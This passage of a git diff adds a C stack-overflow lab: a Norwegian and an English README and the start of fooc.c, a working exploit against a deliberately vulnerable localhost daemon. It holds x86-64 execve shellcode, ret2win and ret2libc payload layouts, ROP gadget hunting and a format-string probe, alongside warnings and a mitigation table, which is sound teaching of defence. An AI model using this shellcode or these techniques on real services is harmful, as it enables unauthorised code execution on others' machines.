C# for ny kode | Hele klassen. Bounds-sjekker utføres ved kjøring, ikke håpet på ved review | — | + +### Se det selv + +```sh +make run # sårbar daemon +make test # alle tre teknikkene virker + +make test-hardened # samme kildekode, mottiltak på +``` + +`test-hardened` bygger `food_hardened` med `-fstack-protector-strong -fPIE -pie +-z noexecstack`, bytter den inn, kjører alle tre igjen og legger så den +sårbare tilbake. Du vil se: + +``` +### stack segment: 'rw-p' (NOT executable) is what you want to see +--- ret2win was stopped by the mitigations (as expected) +--- ret2libc was stopped by the mitigations (as expected) +--- shellcode was stopped by the mitigations (as expected) +``` + +Og i den hardnede daemonens logg, canaryen som utløses: + +``` +*** stack smashing detected ***: terminated +``` + +Les det nøye, for det er den viktigste linjen i hele laboratoriet: **canaryen +fanget ret2win, ikke PIE.** Alle tre teknikkene dør ved canaryen, fordi alle +tre går gjennom det samme `read()` og ødelegger den samme rammen. NX stopper +bare i tillegg shellcodens *kode*; PIE bryter bare i tillegg den hardkodede +adressen. Slå dem på enkeltvis, og du vil oppdage at de fleste enkeltstående +mottiltak etterlater deg utsatt for noe. + +--- + +## Filer + +| Fil | Formål | +|---|---| +| `food.c` | den sårbare daemonen. 6 nummererte feil, hver med sin fix i kommentaren | +| `fooc.c` | exploitet. objdump-basert offset-oppdagelse, `/proc`-basert libc-oppdagelse, 4 payload-byggere | +| `shellcode.S` | de 23 shellcode-bytende som assembly, så de kan leses og verifiseres. `fooc` bærer dem inline og trenger ikke dette ved kjøring | +| `Makefile` | bygger, tester og den hardnede sammenligningen | +| `tests/pty_test.c` | driver `fooc` gjennom et pseudo-terminal og sjekker for ekte shell-output | +| `tests/sock_test.c` | uavhengig verifikator over en rå socket, så resultatet ikke avhenger av `fooc` | +| `food.log` | daemonens logg. Beviset ditt på hva som skjedde | + +--- + +## To feil i dette laboratoriet som er verdt å forstå + +Dette er ikke målprogrammets feil. Det er feil i exploitet og i dets +test-harness, og begge produserte overbevisende løgner. De er dokumentert i +kilden der de bor; her står de fordi sviktmønstrene er lærerike. + +### Stack-justering: krasjet som ikke er en NULL-dereferanse + +**Symptom.** Kapringen lander korrekt — `gdb` viser deg i `win()` — og så dør +det aller første `win()` gjør, en `dprintf()`. `SIGSEGV`-handleren rapporterer +`RIP` dypt inne i glibcs formatter og en feiladresse på `(nil)`, noe som ser +nøyaktig ut som en korrupt peker. + +**Årsak.** System V AMD64-ABI-en krever 16-byte stack-justering. Et normalt +`ret` gjenoppretter `%rsp` til nøyaktig det det matchende `call` lagret, så +invarianten bevares gratis. Vårt nakne `ret` gjør ikke det: etter det gjelder +`%rsp = buf + rip_off`. Her er `buf` 16-byte justert og `rip_off` er 88, så +callee-en får en stack som er 8 mod 16. glibc er kompilert med SSE2, og +`movaps` **feiler** på et feiljustert operand. På x86 reiser det `#GP`, ikke +`#PF`, så kjernen har ingen feiladresse og rapporterer `si_addr = 0`. Det +NULL-et er fingerpeket: en justeringsfeil forkledd som en NULL-dereferanse. + +**Fix.** Én `ret`-gadget *ved offset `rip_off`*, som flytter det ekte målet 8 +bytes opp, siden hvert `ret` legger nøyaktig 8 til `%rsp`. Rekkefølgen er +kritisk: en tidligere versjon la `ret`-et *etter* målet og produserte +`[ padding | target | ret ]`, der det avsluttende `ret`-et aldri nås og fixen +stille og rolig ikke gjør noe. Et påfallende `ret` som ser ut som en feil, er +nesten alltid bevisst. + +### Én socket, to lesere: byten som forsvant + +**Symptom.** Shellcode ble rapportert som fungerende. Så ble pty-harnessen +gjort strengere (slå av `ECHO`, så terminalen sluttet å ekkoe harnessens egen +kommandolinje tilbake til seg), og teknikken begynte å feile. Under alt sammen +mistet hver teknikk nøyaktig én byte fra starten av hver utgangs-chunk: +`uid=1000(hanez)` ble skrevet ut som `id=1000(hanez)`, `PWNED-OK` som +`WNED-OK`, `Linux 7.2.7` som `inux 7.2.7`. + +**Årsak.** `fooc` pleide å `dup2()`e socketen inn på sitt eget stdin/stdout +og `execv()`e en *lokal* `/bin/sh`, mens et forket relay-barn også leste den +samme socketen for å flytte utdata til terminalen. Kjernen bryr seg ikke om at +de to samarbeider. En streamsocket har **én** lese-cursor, og hver leser flytter +den, så bytes deles uforutsigbart mellom dem. Den lokale shellen, som er en +interaktiv login-shell, leste nøyaktig én byte og kastet den — hver eneste +gang. `strace -f` viste det umiddelbart: + +``` +read(0, "u", 1) <- den lokale shellen, spiser en byte +read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- relayet, 1 byte for kort +``` + +**Fix.** Det er ingen shell på denne siden i det hele tatt. Det er nøyaktig én +shell i hele bildet, og den er på offeret, inne i den kaprede prosessen, med +TCP-tilkoblingen som sin stdin/stdout. Denne siden flytter bare bytes. Hvis du +noen gang trenger to forbrukere av en stream, trenger den streamen én eneste +leser som bevisst demultiplekser den. + +**Meta-leksjonen.** Det første "fungerende" resultatet var et falskt positivt +produsert av at pty-en ekkoet harnessens egen kommandolinje tilbake til den, og +fixen for det falske positive er det som avslørte den ekte feilen. Tester som +ikke kan feile, er verre enn ingen tester, fordi de forvandler "jeg vet ikke" +til "det virker." En test-harness fortjener samme mistenksomhet som koden den +tester. + +--- + +## Å eksperimentere med det + +Ting som er verdt å prøve, omtrent i den rekkefølgen du lærer mest av dem: + +1. **Endre `FOOD_BUFSZ` til 128.** Kjør `fooc` igjen. Det burde fortsatt virke + uten endringer, fordi det leser offsetet ut av disassembly-en. Bryt det så + for hånd — hardkod 88 — og se det krasje. Legg så til et andre array mellom + `buf` og de lagrede registrene, og se den automatiske oppdagelsen håndtere + det. + +2. **Legg til `-Wformat-security` og se hva format-streng-stien gjør.** Send + `%p %p %p %n` og se `food` lekke stacken. + +3. **Bruk gdb.** `make debug`, deretter: + ```gdb + (gdb) break food.c:393 # det read() som renner over + (gdb) run -p 2342 + (gdb) info registers rsp rbp + (gdb) x/24gx $rsp # legg merke til hvor returadressen ligger + (gdb) c # i et annet terminal: ./fooc -t ret2win + ``` + `SIGSEGV`-handleren logger `REG_RIP` og `REG_RSP`, så `food.log` forteller + deg om kapringen landet, selv når barnet dør før du kan koble deg på. + +4. **Slett justeringsfixen** i `fooc.c` og se `#GP`-feilen med + `si_addr = 0`-signaturen. Les så `/proc/sys/kernel/randomize_va_space` og + tenk over hva ASLR randomiserer, og hva det ikke gjør. + +5. **Bryt libc-symboloppløsningen** og se `fooc` tilpasse seg. Hele poenget + med `/proc/self/maps`-tilnærmingen er at intet offset er hardkodet. + +6. **Skriv en fjerde teknikk.** En `ret2csu`-lignende kjede hvis du kan finne + `__libc_csu_init`, eller en SROP-kjede (`sigreturn`-rammer lar deg + kontrollere alle registre på én gang). Begge er rent ROP og trenger ikke + kjørbart minne. + +7. **Fix `food.c` ordentlig**, én feil om gangen, og kjør exploitet igjen etter + hver fix. Rekkefølgen i tabellen øverst i `food.c` er omtrent den riktige + rekkefølgen å tenke i: begrens først read-et, for ingenting annet betyr noe + før feilen er borte. + +--- + +## Opprydding + +```sh +make stop # stopper food +make clean # fjerner byggeprodukter; lar food.log være i fred +pkill -x sh # bare hvis du har løse shells fra en test som gikk skeis +``` + +Merk at `pkill -x food` matcher prosess**navnet** nøyaktig. Ikke bruk +`pkill -f ./food` — det mønsteret matcher også shellen du skrev det i, og +dreper din egen sesjon. Det er ikke en hypotese; det skjedde mens dette ble +bygget. \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..3729029 --- /dev/null +++ b/README.md @@ -0,0 +1,409 @@ +# food / fooc — a stack buffer overflow, from both sides + +A C99 security lab in two halves: + +- **`food.c`** — an intentionally vulnerable TCP daemon. It has a real, + textbook stack buffer overflow (CWE-120), and a few more bugs besides. +- **`fooc.c`** — an exploit for it. It computes the overflow offset by + disassembling the target at runtime, reads address leaks from the daemon, and + gets a shell on the "victim" by overwriting a saved return address. + +The point is not the shell. The point is that you can watch, end to end, how a +memory-safety mistake turns into arbitrary code execution — and then see exactly +which mitigations stop each step of that chain. Every line of both programs is +commented, because the mechanism is the lesson. + +``` + your terminal + | + ./fooc (exploit) + | + TCP 127.0.0.1:2342 + | + ./food (vulnerable daemon) + | + fork() -> vulnerable_handler() -> overflow -> ret -> your code +``` + +--- + +## ⚠️ Read this first + +**`food` is a deliberately broken network service. It binds to `127.0.0.1` +only, and that default is deliberate — please leave it there.** + +- Do **not** run it on a machine you care about, or on anything with data on it. +- Do **not** bind it to `0.0.0.0` or a real interface. It is remotely + exploitable by design. +- Pointing `fooc` at a host you do not own or have written permission to test + is a computer intrusion offence in most jurisdictions, including under the UK + Computer Misuse Act and the US Computer Fraud and Abuse Act. +- It binds to an unprivileged port (>1024), so you do not need root. Do not + "improve" it by adding capabilities or running it as a system service. +- Every connection is handled in a `fork()`ed child, and `food` reaps it, so + crashes do not accumulate. If you find yourself with dozens of stray `sh` + processes afterwards, `pkill -x sh` is the cleanup. + +If in doubt: this lab is for a virtual machine or a container, on a network +you control, on a machine with nothing you would miss. + +--- + +## Quick start + +```sh +make # build food, fooc, and the test harnesses +make run # start food on 127.0.0.1:2342, detached +make test # run all three exploit techniques +make stop # stop the daemon +``` + +Then, by hand: + +```sh +./fooc -t leak # see the address leaks food hands out +./fooc -t demo -v # send junk; watch food die with SIGSEGV +./fooc -t ret2win -i # jump to a function that already exists -> shell +``` + +### Requirements + +| Tool | Needed for | Notes | +|---|---|---| +| `gcc` (or clang) | building | C99. Tested on gcc 16.2 | +| `objdump` | `fooc` | binutils. `fooc` shells out to it at runtime | +| `nasm` | `make verify` | only to cross-check the shellcode; skipped if absent | +| `gdb` | `make debug` | optional | +| Linux, x86-64 | both | the payload and gadget hunting are arch-specific | + +`fooc` also needs `-ldl` for `dlsym()`; the Makefile handles that. + +--- + +## The bug + +One line in `food.c` is the whole exploit surface: + +```c +char buf[FOOD_BUFSZ]; /* 64 bytes */ +n = read(fd, buf, FOOD_READMAX); /* up to 512 bytes from the network */ +``` + +64 bytes of destination, 512 bytes accepted. The attacker overwrites 448 bytes +past the end of the buffer, and because the stack grows downwards, "past the +end" means "into the frame above" — which is where the saved frame pointer and +the **saved return address** live. + +In a compiled x86-64 function at `-O0`: + +``` + high addresses + +------------------------+ rbp + 16 : caller locals + | ... | + +------------------------+ rbp + 8 : SAVED RETURN ADDRESS <-- becomes RIP + | saved rbp (8 bytes) | + +------------------------+ rbp : our frame pointer + | line[128] | + | buf[64] | <- rsp: what read() fills + +------------------------+ + low addresses +``` + +When the function returns, `leave; ret` pops that 8 bytes into `RIP` and the CPU +jumps wherever the attacker chose. Everything else in this lab is arithmetic +about where to point it. + +For this build the numbers are: `buf` is 64 bytes, the saved `rbp` is 8, so the +return address sits at offset **88** from the start of `buf`. `fooc` does not +hardcode that — it disassembles `food` and finds the `lea -0x50(%rbp)` that +precedes the `call read@plt`, so it keeps working if you change `FOOD_BUFSZ`. + +> gcc already tells you about this. Building `food` prints: +> `warning: 'read' writing 512 bytes into a region of size 64 overflows the +> destination [-Wstringop-overflow=]`. Never suppress that warning in real code. +> It is free security. + +--- + +## The three techniques + +`fooc -t `. They are in the order a real attacker would work +through them, because each one needs what the previous one taught you. + +### 1. `ret2win` — control the instruction pointer + +``` +[ 88 bytes of junk ][ address of food's win() ] + ^ saved rbp + ^ becomes RIP +``` + +`win()` is a function in the target that execs `/bin/sh`. Overwriting the return +address with its address is the entire exploit. + +**What it teaches:** you have arbitrary control of the instruction pointer. It +also needs no leak, because the binary is built `-no-pie`, so `win()` sits at a +fixed address forever. + +**The real-world equivalent** is not "attacks are easy" but "do not ship +undocumented backdoors in networked binaries." If a function like `win()` exists +in your binary, a buffer overflow will find it. That is literally the Juniper +ScreenOS backdoor CVE class. + +**Defence:** `-fPIE` (or ASLR) randomises the load address, so the attacker +must know the address — which usually means they need a leak first. That is why +`ret2win` fails against `food_hardened`. + +### 2. `ret2libc` — call anything, by name + +``` +[ junk ][ pop rdi; ret ][ address of "/bin/sh" ][ address of system() ] + ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^ + sets rdi the string to pass the function to call +``` + +At execution time: `ret` pops `pop rdi; ret` into RIP; that pops the `"/bin/sh"` +pointer into `RDI`; that `ret` pops `system()` into RIP, with `RDI` still +holding the string. `system("/bin/sh")` runs. + +The gadgets (`pop rdi; ret`) are not in `food` — this glibc has no +`__libc_csu_init` — so `fooc` finds them by scanning live libc memory for the +byte pair `5f c3`. It locates libc via `/proc/self/maps`, finds the offsets of +`system` and `"/bin/sh"` with `dlsym()`, and computes the base from the leak +`food` publishes. Nothing is hardcoded, so it survives a libc update. + +**What it teaches:** once you can control `RIP`, you can chain *existing* +instructions. This is return-oriented programming, and it is what nearly all +real-world exploitation looks like, because it needs no attacker-supplied +executable memory. + +**Defence:** none of the compiler flags stop this on their own. It works +against a PIE binary, with NX, with a canary — as long as the attacker has a +leak. The defences are "do not have the overflow" and "do not leak addresses." +See the table below. + +### 3. `shellcode` — run your own machine code + +23 bytes, placed at the start of the buffer, with `RIP` pointed at them: + +```asm +xor esi, esi ; envp = NULL +xor edx, edx ; argv = NULL +movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" as 8 raw bytes +push rdi ; put the string on the stack +mov rdi, rsp ; rdi = &"/bin/sh" +push 0x3b ; 59 = __NR_execve +pop rax +syscall ; we are now a shell +``` + +This is the purest form of the bug: the attacker supplies the *instructions*, +not just the address of instructions that already exist. No libc offsets needed, +so in principle it works against a statically linked, fully randomised target. + +`make verify` assembles `shellcode.S` and diffs it against the byte array +embedded in `fooc.c`, so the two cannot drift apart. + +**Defence:** **NX** (a.k.a. W^X, "no execute"). Marking the stack +non-executable makes the hardware refuse to fetch instructions from it, and the +`ret` lands on a page that cannot run. This is why `make food` passes +`-z execstack`: a stock Linux stack is `rw-p`, not `rwx`, and the technique +dies with SIGSEGV at `RIP = the payload's address`. The single most important +lesson in the lab is that every one of these bytes only works because the +compiler was told to leave the stack executable. That flag is on for nobody's +benefit. + +### Also included + +| Mode | What it does | +|---|---| +| `-t leak` | connects, prints the leaks, sends nothing | +| `-t demo` | sends `rip_off + 8` bytes of `0x41`, so `RIP` becomes `0x4141...` and the daemon dies. Proves the bug with no address knowledge at all | +| `-t sled` | a ret sled, deliberately kept as a **failing** example. Without a leak you would brute-force ASLR by filling the buffer with the address of a `ret`. It cannot work here: `food` accepts 512 bytes, so the sled is ~53 slots against ~28 bits of entropy. Implemented so you can watch it fail, and confirm the mechanism really is "the CPU follows a chain of rets" | + +--- + +## The mitigation table + +This is the part to remember. Each row is a real defence, and the right-hand +column is what it actually does to the chain of events. + +| Mitigation | How to enable | What it stops | What it does *not* stop | +|---|---|---|---| +| **Bound the read** | `n = read(fd, buf, sizeof buf - 1);` | **Everything.** The bug does not exist, so nothing downstream matters | Nothing — this is the only complete fix | +| **Stack canary** | `-fstack-protector-strong` (gcc's default) | The `ret`: the canary is checked on function exit, so the smash is detected and the process aborts before `RIP` is popped | A bug in a function with *no* array (nothing to protect); an overflow that stays under the canary; anything that does not return normally | +| **NX / W^X** | `-z noexecstack` (the default) | Shellcode. The payload's own instructions cannot be fetched | ret2win and ret2libc entirely. These are the *reason* ROP exists | +| **PIE + ASLR** | `-fPIE` + ASLR=2 (both default) | ret2win's hardcoded addresses. Everything moves each run | Anything where the attacker has a leak. ASLR raises the cost of an exploit; it is not a fix. Note that stack, heap and mmap are randomised but the main binary's *contents* are not — that is what ROP chains use | +| **Don't leak** | don't `printf("%p")` to clients; initialise before printing | The information leak that turns ASLR from "expensive" into "free" | — | +| **Don't use `printf(user_data)`** | `printf("%s", buf)` instead of `printf(buf)` | Format-string bugs: `%x` stack reads, `%n` arbitrary writes, which is a *second* way to get RCE | — | +| **Don't use untrusted paths** | validate and `openat()` under a fixed dir | Path traversal (CWE-22) | — | +| **CET / shadow stack** | `-fcf-protection=full`, kernel + CPU support | The `ret` itself: the shadow stack remembers the *real* return address and faults on a mismatch. Catches ROP chains that use hardware `ret` | Attacks that never `ret` (call-oriented, or overwriting a function pointer's target with a gadget chain that does not need a return) | +| **Safe languages** | Rust, Go, C# for new code | The whole class. Bounds checks are checked at runtime, not hoped for at review time | — | + +### Seeing it for yourself + +```sh +make run # vulnerable daemon +make test # all three techniques work + +make test-hardened # same source, mitigations on +``` + +`test-hardened` builds `food_hardened` with `-fstack-protector-strong -fPIE +-pie -z noexecstack`, swaps it in, re-runs all three, then puts the vulnerable +one back. You will see: + +``` +### stack segment: 'rw-p' (NOT executable) is what you want to see +--- ret2win was stopped by the mitigations (as expected) +--- ret2libc was stopped by the mitigations (as expected) +--- shellcode was stopped by the mitigations (as expected) +``` + +And in the hardened daemon's log, the canary firing: + +``` +*** stack smashing detected ***: terminated +``` + +Read that carefully, because it is the most important line in the whole lab: +**the canary caught ret2win, not PIE.** All three techniques die at the canary, +because all three go through the same `read()` and smash the same frame. NX only +separately stops shellcode's *code*; PIE only separately breaks the hardcoded +address. Turn them on individually and you will find that most single +mitigations leave you exposed to something. + +--- + +## Files + +| File | Purpose | +|---|---| +| `food.c` | the vulnerable daemon. 6 numbered bugs, each with its fix in the comment | +| `fooc.c` | the exploit. objdump-based offset discovery, `/proc`-based libc discovery, 4 payload builders | +| `shellcode.S` | the 23 shellcode bytes as assembly, so they can be read and verified. `fooc` carries them inline and does not need this at runtime | +| `Makefile` | builds, tests, and the hardened comparison | +| `tests/pty_test.c` | drives `fooc` through a pseudo-terminal and checks for real shell output | +| `tests/sock_test.c` | independent verifier over a raw socket, so the result does not depend on `fooc` | +| `food.log` | the daemon's log. Your evidence of what happened | + +--- + +## Two bugs in this lab worth understanding + +These are not the target's bugs. They are bugs in the exploit and its test +harness, and both produced convincing lies. They are documented in the source +where they live; here they are because the failure modes are instructive. + +### Stack alignment: the crash that is not a NULL dereference + +**Symptom.** The hijack lands correctly — `gdb` shows you sitting in `win()` — +and then the very first thing `win()` does, a `dprintf()`, dies. `SIGSEGV` +handler reports `RIP` deep inside glibc's formatter and a faulting address of +`(nil)`, which looks exactly like a corrupted pointer. + +**Cause.** The System V AMD64 ABI requires 16-byte stack alignment. A normal +`ret` restores `%rsp` to precisely what the matching `call` saved, so the +invariant is preserved for free. Our bare `ret` does not: after it, +`%rsp = buf + rip_off`. Here `buf` is 16-byte aligned and `rip_off` is 88, so +the callee is handed a stack that is 8 mod 16. glibc is compiled with SSE2, and +`movaps` **faults** on a misaligned operand. On x86 that raises `#GP`, not +`#PF`, so the kernel has no faulting address and reports `si_addr = 0`. That +NULL is the tell: an alignment fault dressed up as a NULL dereference. + +**Fix.** One `ret` gadget *at offset `rip_off`*, shifting the real target up +8 bytes, since each `ret` adds exactly 8 to `%rsp`. Ordering is critical: an +earlier version appended the `ret` *after* the target, producing +`[ padding | target | ret ]` where the trailing `ret` is never reached and the +fix silently does nothing. A stray `ret` that looks like a mistake is nearly +always deliberate. + +### One socket, two readers: the byte that vanished + +**Symptom.** Shellcode was reported working. Then the pty harness was made +stricter (turning off `ECHO`, so the terminal stopped echoing the harness's own +command line back at it) and the technique started failing. Underneath, every +technique was dropping exactly one byte from the head of each output chunk: +`uid=1000(hanez)` printed as `id=1000(hanez)`, `PWNED-OK` as `WNED-OK`, +`Linux 7.2.7` as `inux 7.2.7`. + +**Cause.** `fooc` used to `dup2()` the socket onto its own stdin/stdout and +`execv()` a *local* `/bin/sh`, while a forked relay child also read that same +socket to move output to the terminal. The kernel does not care that the two +are cooperating. A stream socket has **one** read cursor, and every reader +moves it, so bytes split unpredictably between them. The local shell, being an +interactive login shell, read exactly one byte and discarded it — every single +time. `strace -f` showed it immediately: + +``` +read(0, "u", 1) <- the local shell, eating a byte +read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- the relay, 1 byte short +``` + +**Fix.** There is no shell on this side at all. There is exactly one shell in +the whole picture and it is on the victim, inside the hijacked process, with the +TCP connection as its stdin/stdout. This side only moves bytes. If you ever need +two consumers of a stream, that stream needs a single reader that deliberately +demultiplexes it. + +**The meta-lesson.** The first "working" result was a false positive produced by +the pty echoing the harness's own command line back at it, and the fix for that +false positive is what exposed the real bug. Tests that cannot fail are worse +than no tests, because they convert "I do not know" into "it works." A test +harness deserves the same suspicion as the code it is testing. + +--- + +## Hacking on it + +Things worth trying, roughly in order of how much you will learn: + +1. **Change `FOOD_BUFSZ` to 128.** Run `fooc` again. It should still work with no + edits, because it reads the offset out of the disassembly. Then break it by + hand — hardcode 88 — and watch it crash. Then add a second array between + `buf` and the saved registers and watch the automatic detection handle it. + +2. **Add `-Wformat-security` and look at what the format-string path does.** + Send `%p %p %p %n` and watch `food` leak the stack. + +3. **Use gdb.** `make debug`, then: + ```gdb + (gdb) break food.c:393 # the read() that overflows + (gdb) run -p 2342 + (gdb) info registers rsp rbp + (gdb) x/24gx $rsp # note where the return address is + (gdb) c # in another terminal: ./fooc -t ret2win + ``` + The `SIGSEGV` handler logs `REG_RIP` and `REG_RSP`, so `food.log` tells you + whether the hijack landed even when the child dies before you can attach. + +4. **Delete the alignment fix** in `fooc.c` and watch the `#GP` fault with the + `si_addr = 0` signature. Then read `/proc/sys/kernel/randomize_va_space` and + think about what ASLR does and does not randomise. + +5. **Break libc symbol resolution** and watch `fooc` adapt. The whole point of + the `/proc/self/maps` approach is that no offset is hardcoded. + +6. **Write a fourth technique.** A `ret2csu`-style chain if you can find + `__libc_csu_init`, or a SROP chain (`sigreturn` frames let you control every + register at once). Both are pure ROP and need no executable memory. + +7. **Fix `food.c` properly**, one bug at a time, and re-run the exploit after + each fix. The order in the table at the top of `food.c` is roughly the right + order to think about them: bound the read first, because nothing else matters + until the bug is gone. + +--- + +## Cleanup + +```sh +make stop # stops food +make clean # removes build products; leaves food.log alone +pkill -x sh # only if you have stray shells from a test that went sideways +``` + +Note `pkill -x food` matches the process **name** exactly. Do not use +`pkill -f ./food` — that pattern also matches the shell you typed it into, and +kills your own session. That is not a hypothetical; it happened while building +this. diff --git a/fooc.c b/fooc.c new file mode 100644 index 0000000..51d4c15 --- /dev/null +++ b/fooc.c @@ -0,0 +1,1518 @@ +/* + * ============================================================================ + * fooc.c -- "fooc": the companion exploit for the vulnerable daemon `food` + * ============================================================================ + * + * PURPOSE + * ------- + * `fooc` connects to `food`, reads the address leaks it publishes, builds a + * payload that overwrites the saved return address on `food`'s stack, and + * turns that into a root shell on the `food` host -- i.e. Remote Code + * Execution (RCE). + * + * The point is to make the *mechanism* visible, step by step, so that when + * you later write your own software you recognise the bug class and reach for + * the right defence. Three techniques are implemented, in the order a real + * attacker would progress through them: + * + * 1. ret2win Prove you can redirect execution by jumping to a function + * that already exists in the binary. No leak needed. + * 2. ret2libc Call any libc function you like by name, because you know + * where libc is loaded. Needs an information leak. + * 3. shellcode Put machine code in the buffer and jump to it. Needs a + * leak to know where the buffer landed. This is the one the + * brief asks for explicitly: real shellcode, executed. + * + * Plus two diagnostic modes: + * leak Just connect and print the leaks. No payload is sent. + * overflow-demo Send junk long enough to smash the return address, and + * watch the daemon die. Proves the bug exists. + * + * THE ONE THING TO UNDERSTAND + * --------------------------- + * Everything below is a consequence of a single instruction. At the end of + * `food`'s vulnerable function, the CPU executes `ret`, which does this: + * + * RIP = *(RSP) // pop 8 bytes off the stack into the PC + * RSP = RSP + 8 + * + * Those 8 bytes live in the daemon's own stack frame, and an unbounded + * read() let the attacker write them. Everything after that sentence is + * just arithmetic about where to point them. + * + * SAFETY + * ------ + * Defaults to 127.0.0.1:2342, i.e. a daemon you started on your own + * machine. Point it at a real, unowned host and you are committing a + * computer intrusion offence. Don't. + * + * Build: make fooc + * Usage: ./fooc [-h HOST] [-p PORT] [-b BINARY] [-t TECH] [-i] [-n] [-v] + * + * THE SHELL IS ON THE VICTIM + * -------------------------- + * Worth being blunt about, because it is the point people get wrong: after + * the payload lands there is exactly ONE shell in the whole picture, and it + * is running inside the victim's hijacked process with the TCP connection as + * its stdin/stdout. This program does not spawn a shell. It cannot, and it + * must not: see become_shell() for what happens when you try, and why the + * symptom is a missing byte rather than a missing shell. + * ============================================================================ + */ + +/* glibc extensions we rely on: memmem(), dlsym(), MAP_ANONYMOUS, etc. */ +#define _GNU_SOURCE + +#include /* inet_pton(): "127.0.0.1" -> 4 bytes. */ +#include /* isspace(), for trimming lines. */ +#include /* dlsym(): find a function's address in our libc. */ +#include /* errno / strerror(). */ +#include /* open(), dup2(), O_NONBLOCK. */ +#include /* struct sockaddr_in, htons(). */ +#include /* poll(): multiplex the terminal and the socket. */ +#include /* uint64_t and friends. */ +#include /* printf and friends. */ +#include /* exit(), malloc(), strtoul(). */ +#include /* memcpy(), strstr(), memmem(), strcmp(). */ +#include /* socket(), connect(), shutdown() to half-close. */ +#include /* ssize_t, pid_t. */ +#include /* Not used directly, but harmless and conventional. */ +#include /* read, write, close, dup2, execv, usleep, _exit. */ + +/* ------------------------------------------------------------------------- */ +/* Defaults */ +/* ------------------------------------------------------------------------- */ + +#define FOOC_HOST "127.0.0.1" /* Loopback. Please keep it that way. */ +#define FOOC_PORT 2342 /* Must match food's -p. */ +#define FOOC_BIN "./food" /* The target binary, for static analysis. */ + +/* Padding character for everything that is not a real address. 'A' (0x41) is + * the traditional choice; it is not NULL, so it does not truncate anything and + * it is instantly recognisable in a crash dump. */ +#define PAD_BYTE 0x41 + +/* Upper bound on how many bytes of banner/leak text we will tolerate. */ +#define RECV_MAX 4096 + +/* ------------------------------------------------------------------------- */ +/* x86-64 shellcode */ +/* ------------------------------------------------------------------------- */ + +/* + * 23 bytes of machine code that do the whole job: + * + * execve("/bin/sh", argv = NULL, envp = NULL) + * + * Hand-assembled, and byte-for-byte identical to shellcode.S in this + * directory (run `make verify-shellcode` to prove that). Every instruction is + * annotated: + * + * 31 f6 xor esi, esi ; rsi = 0 (envp = NULL) + * 31 d2 xor edx, edx ; rdx = 0 (argv = NULL) + * 48 bf 2f 62 69 6e movabs rdi, 0x68732f6e69622f + * 2f 73 68 00 ; rdi = "/bin/sh\0" as 8 raw bytes + * 57 push rdi ; stack: "/bin/sh\0" + * 48 89 e7 mov rdi, rsp ; rdi = &"/bin/sh" = argv[0] + * 6a 3b push 0x3b ; 59 = execve on x86-64 + * 58 pop rax ; rax = 59 (syscall number) + * 0f 05 syscall ; enter the kernel + * + * Why it is written this way, in detail: + * + * * x86-64's calling convention (System V ABI) says the first three integer + * arguments go in rdi, rsi, rdx, and the syscall number in rax. execve + * needs exactly those, so we fill them in directly. + * + * * The string constant is built with a single 8-byte `movabs` and then + * `push`ed, because `push imm64` does not exist on x86-64 -- the widest + * push-immediate is sign-extended to 32 bits. So we load 8 bytes into a + * register and push the register instead. The immediate 0x0068732f6e69622f + * is little-endian for the bytes 2f 62 69 6e 2f 73 68 00, which is + * "/bin/sh" followed by the NUL terminator that execve requires. We get + * the NUL "for free" because the 8th byte of the register is zero. + * + * * `push 0x3b; pop rax` is the canonical way to load a small syscall number + * without a 7-byte `mov rax, imm64`. + * + * * There is deliberately no `ret` and no `leave` at the end: execve + * replaces the entire process image and never returns. Anything after the + * `syscall` would only run if execve failed. + * + * WHY THIS IS THE MOST DANGEROUS BYTE SEQUENCE IN COMPUTING: those bytes are + * architecture-independent *conceptually* but not in practice. They encode + * literal x86-64 instructions with hardcoded register and syscall numbers, so + * the payload is not portable, cannot pass an ABI's register-sanitising + * checks, and any byte that happens to be 0x00 breaks tools that treat the + * buffer as a C string. This is precisely why modern systems refuse to execute + * the stack (NX) -- see the mitigation table in README.md. + */ +static const unsigned char SHELLCODE[] = { + 0x31, 0xf6, /* xor esi, esi */ + 0x31, 0xd2, /* xor edx, edx */ + 0x48, 0xbf, 0x2f, 0x62, 0x69, /* movabs rdi, "/bin/sh" (low 4 bytes)*/ + 0x6e, 0x2f, 0x73, 0x68, 0x00, /* movabs rdi, "/bin/sh" (high 4) */ + 0x57, /* push rdi */ + 0x48, 0x89, 0xe7, /* mov rdi, rsp */ + 0x6a, 0x3b, /* push 0x3b (execve) */ + 0x58, /* pop rax */ + 0x0f, 0x05 /* syscall */ +}; +#define SHELLCODE_LEN ((int)(sizeof(SHELLCODE))) + +/* ------------------------------------------------------------------------- */ +/* Results of analysing the target binary */ +/* ------------------------------------------------------------------------- */ + +struct bininfo { + unsigned long vuln_addr; /* Address of food's vulnerable_handler(). */ + unsigned long win_addr; /* Address of food's win() -- the ret2win goal.*/ + unsigned long frame_off; /* buf's distance below rbp, from the disasm. */ + unsigned long rip_off; /* buf -> saved return address. THE key number.*/ + unsigned long ret_gadget; /* Address of a bare `ret` instruction. */ +}; + +/* Results of introspecting our own (identical) libc. All of these are offsets + * relative to libc's load address, so they transfer to the target unchanged + * even though ASLR gave the two processes completely different bases. */ +struct libcinfo { + unsigned long base; /* Where libc is mapped in *our* process. */ + unsigned long off_system; /* offset of system() */ + unsigned long off_read; /* offset of read() -- matches food's leak */ + unsigned long off_binsh; /* offset of the "/bin/sh" string */ + unsigned long off_poprdi; /* offset of a `pop rdi ; ret` gadget */ +}; + +/* What the target told us about itself. */ +struct leaks { + unsigned long stack; /* A stack address from food (informational). */ + unsigned long libc_read; /* Address of read() inside food's libc. */ + unsigned long buf; /* Address of food's `buf`. The whole game. */ +}; + +/* ------------------------------------------------------------------------- */ +/* Step 1: static analysis of the target binary via objdump */ +/* ------------------------------------------------------------------------- */ + +/* + * Why parse the disassembly instead of hardcoding "88"? + * + * Because 88 is a property of *this compilation*, not of the bug. Change the + * optimiser, the flag set, or add a local variable, and the number changes. + * Hardcoded offsets are the single most common reason a working exploit stops + * working after a rebuild -- and, in the real world, a compiler or libc update + * is a very cheap way to kill a lot of exploits at once. Computing it keeps + * the exploit honest, and it is exactly what a real analyst does. + * + * The rule we implement, for a function compiled by GCC at -O0 on x86-64: + * + * vulnerable_handler's prologue is + * push %rbp ; mov %rsp,%rbp ; sub 